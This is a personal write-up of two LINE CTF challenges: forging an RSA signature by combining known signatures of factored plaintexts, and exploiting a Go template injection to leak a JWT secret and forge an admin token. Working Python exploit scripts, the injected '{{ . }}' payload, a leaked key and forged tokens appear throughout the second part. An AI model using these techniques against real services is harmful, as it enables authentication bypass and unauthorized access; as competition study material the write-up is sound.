I played LINE CTF this Saturday, and managed to get 85th place
Here are some of the challenge writeup
Challenges
X Factor
Description
Attachment
Got a markdown file, open it can see it is a RSA challenge:
I have generated a RSA-1024 key pair:
* public key exponent: 0x10001
* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3
Here are some known plain -> signature pairs I generated using my private key:
* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
...
...
**What is the signature of 0x686178656c696f6e?**
Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.
As you can see, we were given public key e
and n
, and also signature of some plaintext
We can guess the signature is generate like this \(p^{d}\mod n\) , we can verify by “encrypting” the signature (raise to the power of e
)
More info can check RSA wikipedia signing message part
n = 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3
e = 0x10001
s = 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
print(hex(pow(s,e,n)))
# 0x945d86b04b2e7c7
As you can see, after encrypting the signature the value turn back to plaintext 0x945d86b04b2e7c7
Factoring
We need to somehow calculate the signature of 0x686178656c696f6e
only using the given plaintext and signature, but how???
If we find the factors of plaintext given matching the all factors of 0x686178656c696f6e
we can calculate the signature without knowing the private key!
For example, we know s1
and s2
is signature of 2 and 3 but we dont know d
:
\[s_{1} \equiv 2^{d}\mod{n}\] \[s_{2} \equiv 3^{d}\mod{n}\]
We can calculate the signature of 6
by multiply the two known signature because 2x3=6:
\[s_{1}s_{2} \equiv {(2\cdot3)}^{d}\mod{n}\] \[\equiv {6}^{d}\mod{n}\]
By using the same principle, we can calculate the signature of 0x686178656c696f6e
with the given signatures!!
First, we have to factorize the target plaintext, by using http://factordb.com/ we can easily find the factors
As you can see, the factors are 2
· 197
· 947
· 2098711
· 9605087
Next, we need to find these 5 factors from the plaintext with signature given
I run factordb api in python:
from factordb.factordb import FactorDB
p = [0x945d86b04b2e7c7,0x5de2,0xa16b201cdd42ad70da249,0x6d993121ed46b,0x726fa7a7,0x31e828d97a0874cff,0x904a515]
for i in p:
f = FactorDB(i)
f.connect()
print(f.get_factor_list())
[811, 947, 947, 947, 970111]
[2, 61, 197]
[970111, 2098711, 2098711, 2854343]
[947, 970111, 2098711]
[61, 197, 197, 811]
[2098711, 2854343, 9605087]
[197, 811, 947]
Yeah! Can see we have all the factors needed!
But we still need to figure how to multiply/divide to the target plaintext 0x686178656c696f6e
Solving
I solve it by hand, by adding and removing the factors until is equal to the target factors, like solving a puzzle…
Convert all factors to symbols for easier to work on:
Signature | Factors |
---|---|
s1 |
abbbc |
s2 |
def |
s3 |
cggh |
s4 |
bcg |
s5 |
effa |
s6 |
ghi |
s7 |
fab |
The target is bdfgi
After some hours of adding and removing the factors.. finally found the target signature is equivalent to:
\[\frac{s_2(s_4)^{2}s_6(s_7)^{2}}{s_1s_3s_5} \mod n\]Calculate the signature in python:
# To divide we have to multiply inverse mod
sig = s[1]*(s[3]**2)*s[5]*(s[6]**2)* inverse(s[0],n) * inverse(s[2],n) * inverse(s[4], n) %n
# Get the last 16 bytes of hex
print(hex(sig)[-32:])
# a049347a7db8226d496eb55c15b1d840
Thats it!! Finally, we got the flag!
Flag
LINECTF{a049347a7db8226d496eb55c15b1d840}
gotm
Description
Attachment
Extract the file, we can see it is a GO lang code with docker file
Goto the link http://34.146.226.125/, show nothing.. lets see the source code
Analyse
Viewing the main.go
can see main function:
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}
As you can see, we can register, get flag or authenticate
To get flag we need to be admin, but we only can register non-admin
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
And it is using JWT token, and the secret key is from enviroment:
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")
1st Attempt
First I check the go.sum
, it seems to use the older version of jwt-go
:
github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
github.com/golang-jwt/jwt v3.2.2+incompatible h1:IfV12K8xAKAnZqdXVzCZ+TOjboZ2keLg81eXfW3O+oY=
github.com/golang-jwt/jwt v3.2.2+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I=
Maybe the older version got some vulnerability that can bypass admin? Lets check it out!
After some researching, found there is a Access Restriction Bypass CVE in Github issue
But a writeup shows this is not the case https://blog.dkkkkk.com/CTF_Writeup/2021hmb/
func TokenIsAdmin(ss string) (bool, error) {
token, err := jwt.ParseWithClaims(ss, &MyCustomClaims{}, func(token *jwt.Token) (interface{}, error) {
return Secret, nil
})
if err != nil {
return false, err
}
if claims, ok := token.Claims.(*MyCustomClaims); ok && token.Valid {
if aud, ok := claims.MapClaims["aud"].(string); ok && aud == "" {
return false, nil
}
if claims.ID != 10086 && claims.VerifyAudience(AdminKey, false) {
return true, nil
}
}
return false, nil
}
Our validation not using [“aud”].string:
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
2nd Attempt
Then I decided to build the container and test it
Running ./run.sh
to build and run the docker
Then I wrote a python script to register and login:
import requests
import json
URL = "http://localhost:11000/"
data = {
"id":"test",
"pw":"test"
}
r = requests.post(URL+"regist",data=data)
print(r.text)
r = requests.post(URL+"auth",data=data)
token = json.loads(r.text)["token"]
print(token)
# {"status":true,"msg":""}
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InRlc3QiLCJpc19hZG1pbiI6ZmFsc2V9.zyVkBgLMOVdnzLdeXRqTVwutHnZrZ6Z-WtKwqCyYbgo
Then put the token in X-Token
header, goto /flag
to get flag, get 403 code means forbidden:
header = {
"X-Token":token
}
r = requests.get(URL+"flag",headers=header)
print(r.status_code)
print(r.text)
# 403
After that, I stuck for awhile…
Then I realized I missed an endpoint:
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
It was vulnerable to SSTI!! (Server Side Template Injection) https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#ssti-in-go
Exploit
Follow the exploit in hacktricks, we need to register id as {{ . }}
Then I changed my python script to this:
import requests
import json
URL = "http://localhost:11000/"
data = {
"id":"{{ . }}",
"pw":"test"
}
r = requests.post(URL+"regist",data=data)
print(r.text)
r = requests.post(URL+"auth",data=data)
token = json.loads(r.text)["token"]
print(token)
header = {
"X-Token":token
}
r = requests.get(URL,headers=header)
print(r.status_code)
print(r.text)
# {"status":true,"msg":""}
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7IC4gfX0iLCJpc19hZG1pbiI6ZmFsc2V9.XN9HM05byusP_iDrf2T0gmgyu3oZu0qBwy0Z6JX2vUg
# 200
# Logged in as { {{ . }} test false this_is_fake_key}
As you can see, we leaked the secret key!! Thats means we can change the token as we want!!
Copy the token to https://jwt.io/, paste the secret key then change is_admin
to true
Then modify the token, goto /flag
to get flag!
header = {
"X-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InRlc3QiLCJpc19hZG1pbiI6dHJ1ZX0.a3n4_N2iEzoxe2x_0jYIyS26jx-PP_eTjvvZEgDk11s"
}
r = requests.get(URL+"flag",headers=header)
print(r.status_code)
print(r.text)
# 200
# {"status":true,"msg":"Hi test, flag is LINECTF{this_is_fake_flag}"}
Repeat the same steps for the real challenge URL, we get the secret key is fasdf972u1031xu90zm10Av
, then using jwt.io to modify the token and get the flag!
Alternatively, can use Pyjwt to encode the token
Flag
LINECTF{country_roads_takes_me_home}